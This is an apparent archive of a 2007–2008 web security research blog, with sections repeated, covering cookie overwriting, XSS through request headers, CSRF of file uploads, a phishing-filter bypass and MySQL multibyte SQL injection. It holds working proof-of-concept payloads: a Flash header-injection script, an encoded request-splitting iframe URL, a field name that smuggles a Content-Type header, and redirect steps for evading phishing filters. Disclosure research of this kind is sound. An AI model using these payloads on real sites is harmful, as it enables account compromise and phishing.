RFC 2109 states that the cookie with the more specific path attribute must be sent first, however it does not define how to deal with two cookies which have the same path (e.g. /) but different domains. If such a conflict occurs then most (all?) browsers simply send the older cookie first.
This means that if we want to overwrite a cookie on mail.google.com from the subdomain news.google.com, and the cookie already exists, then we cannot over-write a cookie with the path value of / (or whatever the path value of the existing cookie is), but we can override it for every other path (up to the maximum number of cookies allowed per host; 50 in IE/Firefox 30 in Opera), i.e. if we pick 50 (or 30 if we want to target opera) paths on mail.google.com which encompass the directories and pages we want to overwrite the cookie for, we can simply set 50 /30 separate cookies which are all more specific than the existing cookie.
Technically the spec say that a.b.c.d cannot set a cookie for a.b.c.d or b.c.d only, none of the browsers enforce this since it breaks sites. Also, sites should not be able to set a cookie with a path attribute which would not apply to the current page, but since path boundaries are non-existant in browsers, no-one enforces this restriction either.
When you think about the problem in the above scenario, you end up asking; can I use the same technique to send a cookie from news.com to mail.com? Or some similar scenario where you are going from one privately owned domain to another in a public registry. The RFC spec did foresee this to some degree and came up with the "one dot rule", i.e. that you can't set a cookie for a domain which does not have an embedded dot, e.g. you cannot set a cookie for .com or .net, etc.
What the spec did not foresee is the creation of public registries such as co.uk which do contain an embedded dot. And this is where the fun begins, since there is no easy solution for this, and the RFC has no standard solution, all the browsers pretty much did their own thing.
IE has the least interesting and most restrictive system; you cannot set a cookie for a two letter domain of the form ab.xy or (com|net|org|gov|edu).xy. Supposedly there is a key in the registry at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\SpecialDomains which will let you whitelist a domain to allow ab.xy to be set and my registry has the value "lp. rg." for that key, but I haven't been able to set a cookie for ab.pl or ab.rg so go figure.
Opera on the other hand has perhaps the most interesting system of all the browser vendors. Opera does a DNS lookup on the domain you are trying to set a cookie for, and if it finds an A record (i.e. the domain has an IP address associated with it) then you can set a cookie for it. So if ab.xy resolves to an IP then you can set a cookie for it, however this breaks if the TLD resolves, as is the case for co.tv
Firefox 2 seems to have no protections. I was unable to find any protections in the source and was able to get foobar.co.uk to set cookies for .co.uk, so ummm, why does no-one ever mention this? I have no clue....
Firefox 3 on the other hand has a huge list of all the domains for which you cannot set cookies, which you can view online here. Hurray for blacklists.....
Another interesting aspect of cookies is that there is a limit on how many cookies can be stored, not only per host, but in total, at least in Firefox and Opera. IE doesn't seem to have such a restriction.
In Firefox the global limit is 1000 cookies with 50 per host (1.evil.com and 2.evil.com are different hosts), and on Opera it is 65536 cookies with 30 per host. IE does not seem to have a global limit but does have a host limit of 50 cookies. When you reach the global limit, both browsers go with the RFC recommendation and start deleting cookies.
Both Firefox and Opera simply choose to delete the oldest cookies, and so by setting either 1000 or 65536 cookies depending on the browser, you effectively clear the user's cookie of anything another domain has set.
By either setting the path attribute to point to more specific pages we can effectively overwrite cookies from other domains that we can set cookies for, which includes all the co.xy domains. Also, if we are attacking Firefox or Opera we can simply delete the existing cookies if we need to force our cookie to be sent to a path for which a cookie is already set (e.g. /).
You may also be able to induce some weird states, if you somehow manage to only delete one cookie where an applicaiton expects two, or similar, but I doubt that would be very exploitable.
The weakest link across domains is (for lack of a better term) the cookie policy which determines which domains can set cookies for which domains and which cookies each domain receives.
What's in a cookie
The cookies we use have several fields, including these ones I want to talk about:
- Name
- Value
- Domain
- Path
- Expires
First, it must be noticed that the protocol restriction which is explicit in the Same Origin policy is here implicit, since cookies are an extension to HTTP, and so would only be sent for http, however the distinction between http and https is only enforced if the Secure flag is set.
Secondly, unlike the same origin policy, the cookie policy has no restrictions on ports, explicit or implicit.
And furthermore the domain check is not exact. From RFC 2109:
Hosts names can be specified either as an IP address or a FQHN
string. Sometimes we compare one host name with another. Host A's
name domain-matches host B's if
* both host names are IP addresses and their host name strings match
exactly; or
* both host names are FQDN strings and their host name strings match
exactly; or
* A is a FQDN string and has the form NB, where N is a non-empty name
string, B has the form .B', and B' is a FQDN string. (So, x.y.com
domain-matches .y.com but not y.com.)
Note that domain-match is not a commutative operation: a.b.c.com
domain-matches .c.com, but not the reverse.
Effectively, this means that that any subdomains of a given domain can set, and is sent the cookies for that domain, i.e. news.google.com can set, and is sent the cookies for .google.com. Furthermore a second subdomain, e.g. mail.google.com can also set, and is sent the cookies for .google.com - This effectively means that by setting a cookie for google.com, news.google.com can force the user's browser to send a cookie to mail.google.com.
Resolving Conflicts
But what if two cookies of the same name should be sent to a given page, e.g. if there is a cookie called "user" set for mail.google.com and .google.com with different values, how does the browser decide which one to send?
RFC 2109 states that the cookie with the more specific path attribute must be sent first, however it does not define how to deal with two cookies which have the same path (e.g. /) but different domains. If such a conflict occurs then most (all?) browsers simply send the older cookie first.
This means that if we want to overwrite a cookie on mail.google.com from the subdomain news.google.com, and the cookie already exists, then we cannot over-write a cookie with the path value of / (or whatever the path value of the existing cookie is), but we can override it for every other path (up to the maximum number of cookies allowed per host; 50 in IE/Firefox 30 in Opera), i.e. if we pick 50 (or 30 if we want to target opera) paths on mail.google.com which encompass the directories and pages we want to overwrite the cookie for, we can simply set 50 /30 separate cookies which are all more specific than the existing cookie.
Technically the spec say that a.b.c.d cannot set a cookie for a.b.c.d or b.c.d only, none of the browsers enforce this since it breaks sites. Also, sites should not be able to set a cookie with a path attribute which would not apply to the current page, but since path boundaries are non-existant in browsers, no-one enforces this restriction either.
Cross-Site Cooking
When you think about the problem in the above scenario, you end up asking; can I use the same technique to send a cookie from news.com to mail.com? Or some similar scenario where you are going from one privately owned domain to another in a public registry. The RFC spec did foresee this to some degree and came up with the "one dot rule", i.e. that you can't set a cookie for a domain which does not have an embedded dot, e.g. you cannot set a cookie for .com or .net, etc.
What the spec did not foresee is the creation of public registries such as co.uk which do contain an embedded dot. And this is where the fun begins, since there is no easy solution for this, and the RFC has no standard solution, all the browsers pretty much did their own thing.
IE has the least interesting and most restrictive system; you cannot set a cookie for a two letter domain of the form ab.xy or (com|net|org|gov|edu).xy. Supposedly there is a key in the registry at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\SpecialDomains which will let you whitelist a domain to allow ab.xy to be set and my registry has the value "lp. rg." for that key, but I haven't been able to set a cookie for ab.pl or ab.rg so go figure.
Opera on the other hand has perhaps the most interesting system of all the browser vendors. Opera does a DNS lookup on the domain you are trying to set a cookie for, and if it finds an A record (i.e. the domain has an IP address associated with it) then you can set a cookie for it. So if ab.xy resolves to an IP then you can set a cookie for it, however this breaks if the TLD resolves, as is the case for co.tv
Firefox 2 seems to have no protections. I was unable to find any protections in the source and was able to get foobar.co.uk to set cookies for .co.uk, so ummm, why does no-one ever mention this? I have no clue....
Firefox 3 on the other hand has a huge list of all the domains for which you cannot set cookies, which you can view online here. Hurray for blacklists.....
Exhausting Cookie Limits
Another interesting aspect of cookies is that there is a limit on how many cookies can be stored, not only per host, but in total, at least in Firefox and Opera. IE doesn't seem to have such a restriction.
In Firefox the global limit is 1000 cookies with 50 per host (1.evil.com and 2.evil.com are different hosts), and on Opera it is 65536 cookies with 30 per host. IE does not seem to have a global limit but does have a host limit of 50 cookies. When you reach the global limit, both browsers go with the RFC recommendation and start deleting cookies.
Both Firefox and Opera simply choose to delete the oldest cookies, and so by setting either 1000 or 65536 cookies depending on the browser, you effectively clear the user's cookie of anything another domain has set.
Conclusion
By either setting the path attribute to point to more specific pages we can effectively overwrite cookies from other domains that we can set cookies for, which includes all the co.xy domains. Also, if we are attacking Firefox or Opera we can simply delete the existing cookies if we need to force our cookie to be sent to a path for which a cookie is already set (e.g. /).
You may also be able to induce some weird states, if you somehow manage to only delete one cookie where an applicaiton expects two, or similar, but I doubt that would be very exploitable.
CSRF-ing File Upload Fields
It seems I'm destined to have everything I sit on for a while patched or found and disclosed by someone else, *sigh*, I guess that's the way things go though.
Oh well, pdp has an interesting post over at gnucitizen.org about how to perform CSRF attacks against File upload fields using Flash: http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/
Since there would be no point publishing this later, here is the method I came up with a while ago to CSRF File upload fields
It relies on a bug in Firefox/IE/Safari where the filenames are not escaped before being put into the POST body to set the filename parameter and content-type header.
Note: http://kuza55.awardspace.com/files.php is probably vulnerable to a tonne of things; I'm not too worried as it's on free hosting.
Oh well, pdp has an interesting post over at gnucitizen.org about how to perform CSRF attacks against File upload fields using Flash: http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/
Since there would be no point publishing this later, here is the method I came up with a while ago to CSRF File upload fields
<form method="post" action="http://kuza55.awardspace.com/files.php" enctype="multipart/form-data">
<textarea name='file"; filename="filename.ext
Content-Type: text/plain; '>Arbitrary File
Contents</textarea>
<input type="submit" value='Send "File"' />
</form>It relies on a bug in Firefox/IE/Safari where the filenames are not escaped before being put into the POST body to set the filename parameter and content-type header.
Note: http://kuza55.awardspace.com/files.php is probably vulnerable to a tonne of things; I'm not too worried as it's on free hosting.
Saturday, January 19, 2008
24c3 Presentation and Research
I did a presentation entitled Unusual Web Bugs at 24c3 a few weeks ago, for which you can find slides and video for on the first link.
However, since some of the things I presented were some of my own research which I haven't posted anywhere, I'll write a couple of posts about that in the next couple of days. There isn't too much though, so there's no need to get your hopes up, and if you've seen the video, you already know it.
[EDIT]P.S. Any comments or criticisms about the presentation would be greatly appreciated[/EDIT]
However, since some of the things I presented were some of my own research which I haven't posted anywhere, I'll write a couple of posts about that in the next couple of days. There isn't too much though, so there's no need to get your hopes up, and if you've seen the video, you already know it.
[EDIT]P.S. Any comments or criticisms about the presentation would be greatly appreciated[/EDIT]
Labels:
Conferences,
General Security,
Security (All),
Web App Sec
Friday, October 12, 2007
Detecting Firefox Extensions Without Javascript
ascii recently posted a piece on detecting whether Javascript execution is disabled due to it being disabled through Firefox or through NoScript, by abusing NoScript's redirection code here: http://www.ush.it/2007/10/11/detect-noscript-poc/
Which got me thinking about how else we could determine this - and though I haven't come up with that, I've come up with a method to detect Firefox extensions without Javascript. It may not work on all extensions, but it works with NoScript, and should work with any extension which has a CSS file in chrome with a single valid definition.
If we take a look at how Firefox resolves conflicts between duplicate definitions for the same class (and probably for the same id) then we notice that Firefox simply uses the latter definition.
Knowing this we can construct a page which looks like this:
Whereby we simply have to have no.php set something in the session to say that the user does not have NoScript installed.
Note: Thanks to thornmaker for pointing out that no.php will also be requested by other browsers, so you probably want to do this only after you have determined the browser being used.
Also, ascii/sirdarckcat came up with another method for detecting when NoScript is installed, which does positive detection (i.e. youget a response when it is installed, rather than this negative detection), but I'll let them write about that.
Which got me thinking about how else we could determine this - and though I haven't come up with that, I've come up with a method to detect Firefox extensions without Javascript. It may not work on all extensions, but it works with NoScript, and should work with any extension which has a CSS file in chrome with a single valid definition.
If we take a look at how Firefox resolves conflicts between duplicate definitions for the same class (and probably for the same id) then we notice that Firefox simply uses the latter definition.
Knowing this we can construct a page which looks like this:
<html>
<head>
<style>
.noscript-error {
background-image: url(no.php)
}
</style>
<style>
@import url(chrome://noscript/skin/browser.css);
</style>
</head>
<body>
<div class="noscript-error">If noscript is NOT installed (and enabled as an extension) then Firefox will make a request for no.php, otherwise it won't.</div>
</body>
</html>Whereby we simply have to have no.php set something in the session to say that the user does not have NoScript installed.
Note: Thanks to thornmaker for pointing out that no.php will also be requested by other browsers, so you probably want to do this only after you have determined the browser being used.
Also, ascii/sirdarckcat came up with another method for detecting when NoScript is installed, which does positive detection (i.e. youget a response when it is installed, rather than this negative detection), but I'll let them write about that.
Thursday, July 19, 2007
Firefox gets httpOnly!
I don't usually report on things here, but since no-one else seems to be saying something, I thought I should.
Anyway, Firefox has finally implemented httpOnly cookies, in 2.0.0.5, as you can see from their patch notes, and the following test case: http://kuza55.awardspace.com/httponly.php
Note: If httpOnly cookies is implemented, the alert box should be blank, if it is not implemented you should see an alert which says hidden=value
So hurrah for the Firefox developers who made this happen, no matter how long it took.
Anyway, Firefox has finally implemented httpOnly cookies, in 2.0.0.5, as you can see from their patch notes, and the following test case: http://kuza55.awardspace.com/httponly.php
Note: If httpOnly cookies is implemented, the alert box should be blank, if it is not implemented you should see an alert which says hidden=value
<?php
header("Set-Cookie: hidden=value; httpOnly");
?>
<html>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>So hurrah for the Firefox developers who made this happen, no matter how long it took.
Labels:
Firefox,
Javascript,
Security (All),
Web App Sec,
XSS
Wednesday, July 11, 2007
Exploiting reflected XSS vulnerabilities, where user input must come through HTTP Request Headers
Contents:
1.0 Introduction
2.0 The User_Agent Header
3.0 (Known) Firefox & Safari Request Header Injection (Sometimes)
4.0 Attacking Caching Proxies
5.0 References
1.0 Introduction
Ever since Adobe patched Flash player to stop attackers spoofing certain headers[1] such as Referer, User-Agent, etc, it has been considered impossible to exploit XSS vulnerabilities where the user input is taken from a request header, e.g. when a website prints out what User-Agent a user's browser is sending, without escaping it. With the exception of the Referer header which we can control enough to exploit XSS attacks through it.
I want to showcase several ways in which we can still exploit these vulnerabilities.
2.0 The User_Agent header
If you look at how the User-Agent header is accessed in certain languages (namely PHP/Perl/Ruby/ColdFusion), you will see that the User-Agent header is not referenced as it is sent over the wire:
PHP:
$_SERVER['HTTP_USER_AGENT']Perl:
$ENV{'HTTP_USER_AGENT'}Ruby:
@request.user_agentColdFusion:
CGI.HTTP_USER_AGENTAs you can see, all of these languages use an underscore(_) instead of a hyphen(-) when accessing the data, so if we use Flash to send a User_Agent header, like this:
class Attack {
static function main(mc) {
var req:LoadVars = new LoadVars();
req.addRequestHeader("User_Agent", "<script>alert(1)</script>");
req.send("http://localhost/XSS/server.php", "_self");
}
}(Can be easily compiled with mtasc)
So if any of those languages mentioned above insecurely print the User-Agent header, or any header with a hyphen in it, then no matter whether it is blocked or not, it can still be injected.
The three other languages which I checked where ASP, ASP.NET and Java, and this is how the variables are accessed:
ASP/ASP.NET:
Request.ServerVariables("HTTP_USER_AGENT")Java:
request.getHeader("user-agent");And while ASP/ASP.NET would seem to be vulnerable, it is a known fact to the MS developers[2] that headers with underscores cannot be accessed through the HTTP_ server variables, and so they have added more methods[2], which are not vulnerable.
Java does things neatly, and so it is not vulnerable.
Note: I made a mistake originally, and it seems that Perl apps are only vulnerable when testing through browsers other than IE.
Perl seems to use the last User_Agent or User-Agent header which you send it, and since the Flash plugin in IE appends our User_Agent header before IE's User-Agent header, Perl apps cannot be exploited when the user is Using IE.
3.0 (Known) Firefox & Safari Request Header Injection (Sometimes)
Stefano Di Paola published a paper[3], where he pointed out that IE7 and Firefox both facilitated request splitting when Digest authentication was used, Comcor also pointed out that Safari was vulnerable to the same issue.
IE7 was only vulnerable through the XMLHttpRequest object, which can only be invoked from the website which has Digest authentication, so it is useless to us in this case.
Furthermore request splitting is only useful when a user is behind a proxy (See Note at end of section), so if a user is not behind a proxy, then there is a point to spoofing headers rather than conducting a request splitting attack.
Anyway, what was not mentioned in the paper was that not only can the attack be invoked through an img tag, but it can also be invoked from an iframe tag, so here is a rather contrived PoC (based on Stefano's code):
digest.php:
<?php
header('Set-Cookie: PHPSESSID=6555');
if((int)intval($_COOKIE['PHPSESSID']) !== 6555){
header('HTTP/1.0 401 Authorization Required');
header('WWW-Authenticate: Digest realm="1@example.com", qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41"');
} else {
header("Set-Cookie: PHPSESSID=0");
}
print $_SERVER['HTTP_USER_AGENT'];
?>attack.php:
<html>
<body>
<iframe src="http://user%0aUser-Agent%3a%20%3Cscript%3Ealert%281%29%3C%2Fscript%3E%0aTest%3a%20:pp@localhost/XSS/digest.php"></iframe>
</body>
</html>Note: Its not completely true that we can't do any request splitting without a proxy; we can still split requests and have a server with multiple vhosts interpret the second split response as a normal request for a vhost other than that which has the digest authentication. Thanks to Amit Klein for pointing this out.
4.0 Attacking Cache Proxies.
Warning: This attack is rather convoluted, and a bit impractical. *shrug*
With the advent of Anti-DNS Pinning being disclosed by Martin Johns[4] and improved on by Kanatoko Anvil[5][6][7], Kanatoko also found that Flash didn't Pin DNS[8], and who together found that Java's DNS record could be spoofed if used via LiveConnect[9].
This gives us an exceptionally powerful tool - an ability to create socket connections from a victim's computer.
So by utilising the low level socket abilities of Flash or Java we can create a socket connection to the user's caching proxy server if they have one. From there we can inject requests where we provide an XSS payload in the appropriate HTTP request header, which the proxy will sometimes cache, so when we redirect the user to that page they will be served the XSSed version.
This works because cache servers are often setup to cache html pages, and they are very sometimes setup so the only thing which is matches is the URL, rather than any headers or cookies.
Here is a step-by-step explanation:
1. First of all we need to know the IP address and port the users to access their proxy - sadly this part is rather browser specific.
On IE we can use Java[10][11] to detect the proxy settings in IE (I know nothing about Java, other than the fact that its possible, and there are known methods), or by using Javascript[11] in Firefox, by reading the Firefox settings network.proxy.http and network.proxy.http_port.
2. The next step is to open a socket to the proxy server, Anti-DNS Pinning attacks are already well documented in [4][5][6][7][8][9].
3. Send a request to the caching proxy with an XSS payload in the appropriate HTTP headers on the socket you have established.
4. Send the user to the cached page. This can be improved by using Flash to send a "Cache-Control: only-if-cached" header so that the proxy is more likely to serve the XSS-ed page.
Note: I don't have any code to test this, but from when I setup squid to cache html pages, creating a socket to the page and injecting into headers, then viewing the same page in the browser worked, and so I see no reason why this shouldn't. And I have personally seen live proxy servers setup to cache html pages, and where these attacks are possible, so while I'm not sure how common such setups are, they definitely exist.
5.0 References
[1] "Forging HTTP request headers with Flash", Amit Klein, July 2006
http://www.securityfocus.com/archive/1/441014
[2] "HOWTO: Retrieve Request Headers using ISAPI, ASP, and ASP.Net", David Wang, April 2006
http://blogs.msdn.com/david.wang/archive/2006/04/20/HOWTO-Retrieve-Request-Headers-using-ISAPI-ASP-and-ASP-Net.aspx
[3] "IE 7 and Firefox Browsers Digest Authentication Request Splitting", Stafano Di Paolo, April 2007
http://www.wisec.it/vulns.php?id=11
[4] "(somewhat) breaking the same-origin policy by undermining dns-pinning", Martin Johns, August 2006
http://shampoo.antville.org/stories/1451301/
[5] "Stealing Information Using Anti-DNS Pinning : Online Demonstration", Kanatoko Anvil, December 2006
http://www.jumperz.net/index.php?i=2&a=1&b=7
[6] "Re: DNS Spoofing/Pinning", Kanatoko Anvil, December 2006
http://sla.ckers.org/forum/read.php?6,4511,4539#msg-4539
[7] "Anti-DNS Pinning + Socket in FLASH", Kanatoko Anvil, February 2007
http://www.jumperz.net/index.php?i=2&a=3&b=3
[8] "Re: DNS Spoofing/Pinning", Kanatoko Anvil, February 2007
http://sla.ckers.org/forum/read.php?6,4511#msg-6253
[9] "Using Java in anti DNS-pinning attacks (Firefox and Opera)", Martin Johns & Kanatoko Anvil, February 2007
http://shampoo.antville.org/stories/1566124/
[10] "How to detect Proxy Settings for Internet Connection"
http://www.java-tips.org/java.net/how-to-detect-proxy-settings-for-internet-connection.html
[11] "RE: Auto-detecting proxy settings in a standalone Java app"
http://www.mail-archive.com/commons-httpclient-dev@jakarta.apache.org/msg07568.html
[12] "Read Firefox Settings (PoC)", Sergey Vzloman, May 2007
http://ha.ckers.org/blog/20070516/read-firefox-settings-poc/
Saturday, June 30, 2007
Universal Phishing Filter Bypass
Well, I tried to do responsible disclosure, so I could at least claim I care about how secure users are (and get my name in some patch notes, :p), but according to Microsoft "The Internet Explorer phishing filter is not a security feature, so this is not something MSRC would track.", Mozilla haven't replied (email sent early Wednesday), and Opera haven't replied either (bug report added early Thursday), though I didn't give opera much time, I really don't think its a big issue because its not even on by default in Opera.
To better understand how the following idea can actually be utilised, and why it matters, you need to understand the point of the phishing filter. When a phishing site is first created and sent to users, the phishing filter does not know about it - the phishing filter is updated based on a blacklist of URLs which are manually entered.
The reason,the filter works is because while a phisher could encode the address to stop it being detected, or move the server, etc, etc, but all the emails they sent still have the same static blocked link. And this is the whole reason the filter works - all the emails have the same link which is blocked. This doesn't have to be the case, but I'll write something about that some other day.
To avoid this, one can do the following:
Send out phishing emails as one normally would, but instead of pointing to the actual phishing page, point to some central server, which can send your arbitrary response headers, or is under your complete control.
The page the user is sent to, actually redirects the user to an actual phishing page, either on the same server or another.
There is a loophole in the phishing filters where if a page is blocked, but instead of being loaded, it redirects the user, then the phishing warning is not displayed (the phishing warning seems to do checks after the page has been loaded, or at least the html code has).
What this means is that, the moment a phishing URL is added to the list, the phisher can easily just make it redirect elsewhere (or just encode it, and redirect to the encoded URL to bypass the filter), and viola, the link in the phishing email is now working again.
And considering all the filters do direct URL comparisons, and the redirects do not have to be static (i.e. you could use mod_rewrite to make random URLs show the same phishing page), the way current phishing filters are set up you could avoid the indefinitely.
If you want to confirm this, here are the steps I sent to MS/Mozilla/Opera on how to verify it:
1. Find a blocked URL.
- I got http://ospr.110mb.com/yahoo/ from phishtank
2. Point the hosts file entry for the domain to an IP.
- I pointed ospr.110mb.com to 127.0.0.1
3. Create a directory/page on your server in the same place as the phishing page.
- I created /yahoo/index.php on my localhost
4. Confirm that your page is being blocked.
- I directed my browser to http://ospr.110mb.com/yahoo/ as usual, and it was blocked in all browsers
5. Clear the browser cache/restart the browser.
- IE and Firefox need a restart, Opera needs you to manually clear the cache
6. Edit the file to redirect to another file on the site which is not blocked.
- I created /yahoo/login.php and then used a Location redirect in index.php to redirect myself there:
header ("Location: http://ospr.110mb.com/yahoo/login.php");
?>
7. Visit the original phishing page again.
- I directed my browser to http://ospr.110mb.com/yahoo/ as usual, and in both browsers, no message was shown to the user, and I was successfully redirected, even though the original page was a known phishing URL in both systems.
Note: The need to clear the cache/restart the browser would not impact an attack, because the redirecting page would never be filtered and cached in the first place, it is merely a symptom of checking that the URL is properly blocked. So if you can trust me that the URL is blocked, you can simply ignore step 4.
To better understand how the following idea can actually be utilised, and why it matters, you need to understand the point of the phishing filter. When a phishing site is first created and sent to users, the phishing filter does not know about it - the phishing filter is updated based on a blacklist of URLs which are manually entered.
The reason,the filter works is because while a phisher could encode the address to stop it being detected, or move the server, etc, etc, but all the emails they sent still have the same static blocked link. And this is the whole reason the filter works - all the emails have the same link which is blocked. This doesn't have to be the case, but I'll write something about that some other day.
To avoid this, one can do the following:
Send out phishing emails as one normally would, but instead of pointing to the actual phishing page, point to some central server, which can send your arbitrary response headers, or is under your complete control.
The page the user is sent to, actually redirects the user to an actual phishing page, either on the same server or another.
There is a loophole in the phishing filters where if a page is blocked, but instead of being loaded, it redirects the user, then the phishing warning is not displayed (the phishing warning seems to do checks after the page has been loaded, or at least the html code has).
What this means is that, the moment a phishing URL is added to the list, the phisher can easily just make it redirect elsewhere (or just encode it, and redirect to the encoded URL to bypass the filter), and viola, the link in the phishing email is now working again.
And considering all the filters do direct URL comparisons, and the redirects do not have to be static (i.e. you could use mod_rewrite to make random URLs show the same phishing page), the way current phishing filters are set up you could avoid the indefinitely.
If you want to confirm this, here are the steps I sent to MS/Mozilla/Opera on how to verify it:
1. Find a blocked URL.
- I got http://ospr.110mb.com/yahoo/ from phishtank
2. Point the hosts file entry for the domain to an IP.
- I pointed ospr.110mb.com to 127.0.0.1
3. Create a directory/page on your server in the same place as the phishing page.
- I created /yahoo/index.php on my localhost
4. Confirm that your page is being blocked.
- I directed my browser to http://ospr.110mb.com/yahoo/ as usual, and it was blocked in all browsers
5. Clear the browser cache/restart the browser.
- IE and Firefox need a restart, Opera needs you to manually clear the cache
6. Edit the file to redirect to another file on the site which is not blocked.
- I created /yahoo/login.php and then used a Location redirect in index.php to redirect myself there:
header ("Location: http://ospr.110mb.com/yahoo/login.php");
?>
7. Visit the original phishing page again.
- I directed my browser to http://ospr.110mb.com/yahoo/ as usual, and in both browsers, no message was shown to the user, and I was successfully redirected, even though the original page was a known phishing URL in both systems.
Note: The need to clear the cache/restart the browser would not impact an attack, because the redirecting page would never be filtered and cached in the first place, it is merely a symptom of checking that the URL is properly blocked. So if you can trust me that the URL is blocked, you can simply ignore step 4.
Wednesday, June 27, 2007
[My]SQL Injection Encoding Attacks
Early last year Chris Shiflett and Ilia Alshanetsky published some posts about how it is possible to conduct SQL Injection attacks against sites which escape user input, but either use an encoding unaware escaping function (e.g. addslashes()), or do not inform their escaping function about the issue.
I'm not going to re-hash their posts, so you should go read them now, if you haven't done so before.
But who actually does either of those things? Well, Google Code search reports approximately 54,300 results for applications using addslashes() and approximately 100 applications which have the words "SET CHARACTER SET" in their code.
Not particularly many of the latter, but the very first result is the rather popular phpMyAdmin project, so its not a completely unused query.
Anyway, since I hadn't seen any research on which character sets were vulnerable (and which characters to use), I wrote a small fuzzer to test all the character sets which MySQL supports (other than UCS-2), for several different encoding attacks, though only the ones described by Chris and Ilia yielded any results. Here are the character sets vulnerable, and the first character of the multi-byte sequence where \ is the second character:
I didn't successfully test ucs2 because ucs2 is a fixed width 2 byte character encoding, which will not execute queries passed in standard ascii, and so it would be impossible to get a webapp working if you set your connections to ucs2 but didn't convert all your queries, etc, so a configuration issue like that would be instantly noticed, and if you were using an encoding unaware function, then it would definitely be vulnerable, since all byte sequences are two bytes.
Anyway, if anyone is interested, I uploaded the fuzzer here: http://mihd.net/pwe0f9. As you will notice, I ripped the code which Ilia used to illustrate the vulnerability for GBK, so the two pieces look very similar. Its also not very well written, but it worked and got the results for me.
Notes: Part 2 of the fuzzer is trying to see if its possible to have a double or single quote as the second character in a multi-byte sequence, and Part 3 is trying to see if its possible to use a quote as the first character.
Also, this is obviously MySQL specific, the reason for this is because (as far as I could find out) MySQL is the only RDBMS which allows you to set the connection encoding through a query, all the other require configuration changes, and while addslashes() issues are applicable to all RDBMS's, most applications these days use mysql_real_escape_string().
I'm not going to re-hash their posts, so you should go read them now, if you haven't done so before.
But who actually does either of those things? Well, Google Code search reports approximately 54,300 results for applications using addslashes() and approximately 100 applications which have the words "SET CHARACTER SET" in their code.
Not particularly many of the latter, but the very first result is the rather popular phpMyAdmin project, so its not a completely unused query.
Anyway, since I hadn't seen any research on which character sets were vulnerable (and which characters to use), I wrote a small fuzzer to test all the character sets which MySQL supports (other than UCS-2), for several different encoding attacks, though only the ones described by Chris and Ilia yielded any results. Here are the character sets vulnerable, and the first character of the multi-byte sequence where \ is the second character:
- big5, [A1-F9]
- sjis, [81-9F], [E0-FC]
- gbk, [81-FE]
- cp932, [81-9F], [E0-FC]
I didn't successfully test ucs2 because ucs2 is a fixed width 2 byte character encoding, which will not execute queries passed in standard ascii, and so it would be impossible to get a webapp working if you set your connections to ucs2 but didn't convert all your queries, etc, so a configuration issue like that would be instantly noticed, and if you were using an encoding unaware function, then it would definitely be vulnerable, since all byte sequences are two bytes.
Anyway, if anyone is interested, I uploaded the fuzzer here: http://mihd.net/pwe0f9. As you will notice, I ripped the code which Ilia used to illustrate the vulnerability for GBK, so the two pieces look very similar. Its also not very well written, but it worked and got the results for me.
Notes: Part 2 of the fuzzer is trying to see if its possible to have a double or single quote as the second character in a multi-byte sequence, and Part 3 is trying to see if its possible to use a quote as the first character.
Also, this is obviously MySQL specific, the reason for this is because (as far as I could find out) MySQL is the only RDBMS which allows you to set the connection encoding through a query, all the other require configuration changes, and while addslashes() issues are applicable to all RDBMS's, most applications these days use mysql_real_escape_string().
Labels:
Encoding,
Security (All),
Web App Sec
Saturday, June 02, 2007
Building Secure Single Sign On Systems and Google
After seeing several posts which spelled doom and gloom if there was ever found an XSS hole in any of Google's because they used a Single Sign On (SSO) System I started trying to think of a method in which secure sign on could be securely implemented, where all the SSO server side code is trusted, e.g. when you own all the websites, and here's what I came up with.
The first thing that came into my head was using Remote Javascript files, to give any SSO site (site specific of course), which the server side back-end could then use to query a database, to check that the specific token was valid for their site, and if it was, they would be issued another site specific login token, which would be placed in a user's cookie, and session management would resume as usual.
The problem with this is, of course, making sure that no other sites can retrieve this login token by including the same remote javascript in their page.
Of course, there are several things you could do to prevent this:
You could do referer checks. While we have seen methods to spoof or strip referers, there have been no methods to my knowledge to date which can do this when you're requesting script elements. You could technically spoof the header normally, and try to poison the cache, but as long as the appropriate cache headers are sent, then this should not be possible.
But this leaves any users who have referer stripping firewalls in danger, and this is unacceptable.
You could use CSRF style protections. But this faces the problem of what you can actually tie the token to. You could tie the token to the IP, but as long as Anti-DNS Pinning works, this can be attacked and broken, so this is not a valid solution. And Furthermore doing such checks would be rather expensive in terms of operations needing to be performed, since this is being done between separate servers/sites.
Which essentially means that while we can make this system secure for most people, there are some we would not secure, and it is therefore not viable.
I kept thinking about other ways you could send data to a specific site only and (from my attempts to break SessionSafe) I remembered that we could use iframes.
If an iframe sets the window.top.location.href property, the page which loaded the iframe cannot read that value, and even if they could it would be considered a browser bug and fixed. So to transfer data to our domain and our domain only we would do the following:
Write an iframe to the page which looked like this:
And on http://ssodomain.com/login.php the following would be done:
If the user is not logged in display a login form.
If the user is logged in then write the following javasript tot he page:
Where companyownedwebsite.com was determined by a switch statement on the site variable, so that only a valid site could be redirected to, and so the SSO service knew which particular value to parse in auth variable.
The other mechanisms are the same as in Idea 1. Furthermore this protects you from Programmatic password theft, since the password is entered on a domain which has nothing other than a login form.
After thinking of Idea 2, I realised that this is what google does; on most of their services anyway. The one service (at which I initially looked to find out how Google implemented SSO, *doh*) which doesn't use the exact same method as above is Gmail. What it turns out Gmail does (which I somehow missed) is, instead of using an iframes, they redirect gmail.com to the equivalent of http://ssodomain.com/login.php?site=Gmail where the whole login page is displayed, and the form is submitted to that same domain.
I came to the same idea independently of Google (which to me says that there must be some merit to it, sine I didn't just see the idea and say; hey, this looks good), and it should in theory and practice be perfectly sound as long as a website cannot tell determine the URL to which the iframe/a page loaded in an iframe is being redirected to, and there are no XSS holes in the SSO domain.
Well, no; Google messed up; they made their SSO domain www.google.com; the same domain as their main site, which means it used used for more central purposes (central in terms of design, rather than importance). This is bad, because there should be nothing on the SSO domain other than SSO forms, because otherwise one may find XSS holes in the SSO domain, and that breaks the whole system (bar things like IP locks tying the sessions together, but with Anti-DNS Pinning, this can again be broken)
